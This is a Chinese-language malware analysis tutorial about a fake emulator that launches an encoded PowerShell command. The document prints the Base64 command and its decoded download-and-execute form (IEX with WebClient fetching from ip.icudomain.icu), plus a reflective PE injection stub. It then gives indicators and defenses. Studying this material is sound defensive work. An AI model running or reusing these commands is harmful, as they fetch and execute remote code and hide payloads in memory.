记一次对恶意软件的简单分析
字数 1941 2025-08-29 08:31:35
恶意软件分析教学:从PowerShell脚本到PE文件加载
1. 分析背景
本教学文档基于一次真实的恶意软件分析案例,涉及一个伪装成模拟器的恶意程序,该程序试图通过PowerShell执行恶意代码。我们将详细拆解分析过程,涵盖从初始检测到最终PE文件加载的完整链条。
2. 初始检测
分析起点是火绒安全软件检测到的可疑PowerShell执行行为:
powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBpAHAALgBpAGMAdQBkAG8AbQBhAGkAbgAuAGkAYwB1ACcAKQApAA==
2.1 参数解析
-ep bypass:绕过执行策略限制-e:执行后面跟随的Base64编码命令
3. Base64解码分析
3.1 初始解码
首先对Base64字符串进行解码:
原始Base64:
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBpAHAALgBpAGMAdQBkAG8AbQBhAGkAbgAuAGkAYwB1ACcAKQApAA==
解码后(十六进制):
49 45 58 20 28 28 6E 65 77 2D 6F 62 6A 65 63 74 20 6E 65 74 2E 77 65 62 63 6C 69 65 6E 74 29 2E 64 6F 77 6E 6C 6F 61 64 73 74 72 69 6E 67 28 27 68 74 74 70 3A 2F 2F 69 70 2E 69 63 75 64 6F 6D 61 69 6E 2E 69 63 75 27 29 29
去除无意义的00后转换为ASCII:
IEX ((new-object net.webclient).downloadstring('http://ip.icudomain.icu'))
3.2 命令解析
解码后的PowerShell命令执行以下操作:
- 创建
System.Net.WebClient对象 - 从
hxxp://ip.icudomain.icu下载字符串内容 - 使用
IEX(Invoke-Expression)直接执行下载的内容
安全注意:这是一个典型的远程代码执行(RCE)模式,直接从互联网下载并执行代码,极其危险。
4. 域名分析
恶意域名:ip.icudomain.icu
解析记录检查:
- 解析到Cloudflare CDN节点
- 无法直接追踪真实IP(CDN的隐蔽性)
分析建议:
- 检查域名注册信息(WHOIS)
- 查看历史解析记录
- 检查是否有其他子域名
5. 第二阶段载荷分析
访问该URL获取到的内容(示例):
$PEBytes = [System.Convert]::FromBase64String('...base64 encoded PE file...')
$PEEXE = [System.Convert]::FromBase64String('...another base64 encoded PE file...')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs $PEEXE
5.1 载荷结构
-
两个Base64编码的PE文件:
- 第一个PE文件(
$PEBytes) - 第二个PE文件(
$PEEXE)
- 第一个PE文件(
-
使用
Invoke-ReflectivePEInjection进行内存注入
5.2 Invoke-ReflectivePEInjection分析
这是一个知名的PowerShell内存注入工具,来自PowerSploit项目:
- GitHub地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
- 功能:将PE文件直接加载到内存中执行,不落盘
技术特点:
- 绕过传统杀毒软件的磁盘扫描
- 无文件攻击(fileless attack)
- 可注入DLL或EXE
6. PE文件分析
虽然原文未提供具体的PE文件分析,但我们可以推测:
-
第一个PE文件:
- 可能是
Invoke-ReflectivePEInjection工具本身 - 或者是加载器(loader)
- 可能是
-
第二个PE文件:
- 可能是实际的恶意载荷(后门/RAT等)
- 功能可能包括:
- 持久化
- 命令控制
- 数据窃取
- 横向移动
7. 完整攻击链条
- 用户执行伪装成模拟器的恶意程序
- 恶意程序触发PowerShell脚本
- PowerShell下载并执行第一阶段载荷
- 第一阶段载荷从C2服务器获取两个PE文件
- 使用反射式注入技术在内存中加载执行PE文件
- 最终植入后门或执行其他恶意操作
8. 检测与防御建议
8.1 检测指标
-
IOC(失陷指标):
- 域名:ip.icudomain.icu
- PowerShell命令特征:
-ep bypass -e+ Base64 Invoke-ReflectivePEInjection的使用
-
行为检测:
- 异常的PowerShell执行
- 内存注入行为
- 无文件攻击特征
8.2 防御措施
-
PowerShell加固:
- 限制执行策略
- 启用脚本块日志记录
- 禁用不必要的功能
-
应用控制:
- 限制未知程序的执行
- 使用白名单机制
-
内存保护:
- 启用防漏洞利用保护
- 监控异常的内存操作
-
网络控制:
- 阻止可疑域名
- 监控异常外连
-
终端防护:
- 启用行为检测
- 使用EDR解决方案
9. 分析工具推荐
-
基础工具:
- Base64解码工具(CyberChef等)
- PowerShell调试环境
- WHOIS查询工具
-
进阶工具:
- PE分析工具(PEStudio、IDA Pro等)
- 沙箱环境(Any.run、Hybrid Analysis等)
- 网络流量分析工具(Wireshark等)
-
专业工具:
- 反汇编器/调试器(Ghidra、x64dbg等)
- 内存分析工具(Volatility等)
- 恶意软件分析沙箱(Cuckoo等)
10. 总结
本案例展示了一个典型的恶意软件攻击链条,从初始的PowerShell脚本执行到最终的内存注入。攻击者使用多层编码和反射加载技术来规避检测,强调了现代恶意软件的复杂性和隐蔽性。通过理解这些技术,安全人员可以更好地防御类似攻击。